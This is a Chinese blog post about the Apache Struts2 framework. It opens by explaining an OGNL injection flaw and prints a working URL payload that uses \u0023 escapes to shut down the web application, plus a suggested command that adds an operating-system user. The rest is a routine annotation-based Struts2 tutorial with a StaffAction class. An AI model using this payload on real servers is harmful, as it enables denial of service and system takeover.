好久好久没用过struts2,都说struts2被抛弃了,原因就在于这个框架本身有好多漏洞。
当时设计这个的时候还是非常先进的,只不过后来一直不停的修修补补,而且为了适应整合spring,加了好多action管理的jar包,这就导致了struts2产生漏洞了。
下面是引用的漏洞原因:
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。 当我们提交一个http参数:?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
?('\u0023_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1
转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#[email protected]@getRuntime()))=1
OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
只要有权限就可以执行任何DOS命令。
现在做struts2的配置基本都是以注解的方式,简明扼要,好几年没用过,突然再用好不习惯,意料之中发现问题了,竟然找不到action。
今天做这个例子的时候碰到一个超级bug,折腾了俩小时
以前的strut2版本是2.3.1.2,想升级一下这个版本,改为2.3.34,结果替换完就启动报错了,一直报错
There is no Action mapped for namespace [/] and action name [staff!list] associated with context path [].
估计学struts的人没有不碰到这个错误的。提示很明显,找不到这个action,但是什么原因呢,提示不清楚,就一直猜。
最后没办法,又替换原来的struts的版本,竟然好了。
不知道这两年struts2升级哪些功能了,以前的程序竟然不能用了。
还有一个大的bug是struts2里面的所有action都必须在上级包名为action、struts等下面,不能为其他的,虽然官方有提示,谁也不能看这个啊
过程如下:
pom.xml
添加依赖,包括struts2-core、javassist
org.apache.struts
struts2-core
2.3.1.2
javassist
javassist
3.12.1.GA
org.apache.struts
struts2-convention-plugin
2.3.1.2
mysql
mysql-connector-java
5.1.18
javax.servlet
servlet-api
2.5
log4j
log4j
1.2.17
struts.xml,很简洁了
StaffAction
这里面几个核心注解:
@ParentPackage指继承struts的默认包
@Namespace指请求路径
@Action指当前类的名称
@Results指方法名和返回值jsp,type有redirect是跳转,url会变
页面的请求方法为http://localhost:8080/staff!list.action
利用!分隔开action的名称和方法名,非常独特
@ParentPackage("struts-default")
@Namespace("/")
@Action("staff")
@Results({ @Result(name = "list", location = "/list.jsp"), @Result(name = "toAdd", location = "/add.jsp"),
@Result(name = "home", location = "staff!list.action", type = "redirect") })
public class StaffAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private List staffList;
private Staff staff;
public String list() {
StaffDao staffDao = new StaffDao();
staffList = staffDao.list();
return "list";
}
public String toAdd() {
return "toAdd";
}
public String add() {
StaffDao staffDao = new StaffDao();
staffDao.add(staff.getName());
return "home";
}
public void setStaffList(List staffList) {
this.staffList = staffList;
}
public List getStaffList() {
return staffList;
}
public Staff getStaff() {
return staff;
}
public void setStaff(Staff staff) {
this.staff = staff;
}
}
源码下载
本工程详细源码